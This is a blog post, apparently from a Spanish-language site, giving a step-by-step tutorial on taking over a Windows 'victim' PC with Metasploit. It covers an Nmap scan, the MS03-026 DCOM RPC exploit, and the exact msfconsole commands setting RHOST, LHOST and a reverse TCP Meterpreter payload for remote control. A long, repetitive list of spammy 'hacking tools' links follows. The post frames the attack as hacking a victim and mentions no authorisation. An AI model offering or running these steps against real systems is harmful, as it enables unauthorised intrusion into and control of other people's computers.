viernes, 2 de junio de 2023

HOW TO HACK A PC REMOTELY WITH METASPLOIT?

Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.
  • Linux Machine (Kali Linux or BackTrack 5)
  • Metasploit (Built in the mentioned Linux OS)
  • Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.
  • Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
  • We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
  • After the initialization of msfconsole, standard checks, we will see the window like below.
  • Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
  • Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
  • As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
  • Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
  • Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
  • Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
  • Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
  • Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server.  To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.

Related posts


  1. Physical Pentest Tools
  2. Wifi Hacker Tools For Windows
  3. Pentest Tools For Android
  4. Hack Tools
  5. Hacking Tools Name
  6. Best Hacking Tools 2019
  7. Best Pentesting Tools 2018
  8. What Is Hacking Tools
  9. Pentest Tools Find Subdomains
  10. Hacker Tools Apk
  11. Hacker Tools List
  12. Pentest Tools For Mac
  13. Hacking Tools For Beginners
  14. Hacker Tools For Pc
  15. Hacking Tools For Beginners
  16. Hacking Tools Software
  17. Hacker Tools 2019
  18. Hack Apps
  19. Hacking Tools For Windows Free Download
  20. Hack Tools
  21. Hacker Tools Mac
  22. Pentest Tools Framework
  23. Pentest Tools Open Source
  24. Best Pentesting Tools 2018
  25. Pentest Recon Tools
  26. Pentest Tools Windows
  27. Pentest Tools Free
  28. Pentest Tools Android
  29. Free Pentest Tools For Windows
  30. Hacker Tools 2020
  31. Best Hacking Tools 2020
  32. Hacker Tools 2020
  33. Hacking Tools And Software
  34. Hacker Tools Github
  35. Easy Hack Tools
  36. Hacking Tools Software
  37. Tools Used For Hacking
  38. Pentest Tools
  39. Hacking Tools Mac
  40. Hacking Tools For Windows
  41. Hacking Tools Software
  42. Hacking Tools Usb
  43. Pentest Tools Android
  44. Pentest Tools For Ubuntu
  45. Hack Tools Online
  46. Hacking Tools For Beginners
  47. Hack Tools Mac
  48. Hack Website Online Tool
  49. Hacking Tools 2020
  50. Hacker Tools For Pc
  51. Hacking Tools Windows
  52. Hacker Tools Apk
  53. Hacking Tools For Windows Free Download
  54. Hacker Tools Online
  55. Hacking Tools For Windows 7
  56. Best Pentesting Tools 2018
  57. Hacking Tools Online
  58. Pentest Tools Alternative
  59. Pentest Tools Apk
  60. Hack Rom Tools
  61. Hacker Tools For Ios
  62. Hackers Toolbox
  63. Free Pentest Tools For Windows
  64. Pentest Tools Open Source
  65. Pentest Tools For Mac
  66. Hack App
  67. How To Make Hacking Tools
  68. Underground Hacker Sites
  69. Hacker Tools Apk Download
  70. Hacking Tools Mac
  71. Hacking Tools Download
  72. Hacking Tools Name
  73. Hacking Tools For Games
  74. Termux Hacking Tools 2019
  75. Pentest Reporting Tools
  76. Hacking Tools Usb
  77. Hack Tools Mac
  78. Hacking Tools 2019
  79. Hack Tools
  80. Hacking Tools 2019
  81. New Hack Tools
  82. Hacker Techniques Tools And Incident Handling
  83. Hacking Tools For Mac
  84. Pentest Tools Find Subdomains
  85. Hacker Search Tools
  86. Hacking Tools Github
  87. Hacker Tools Hardware
  88. Hacking Tools For Pc
  89. Hacker Techniques Tools And Incident Handling

No hay comentarios:

Publicar un comentario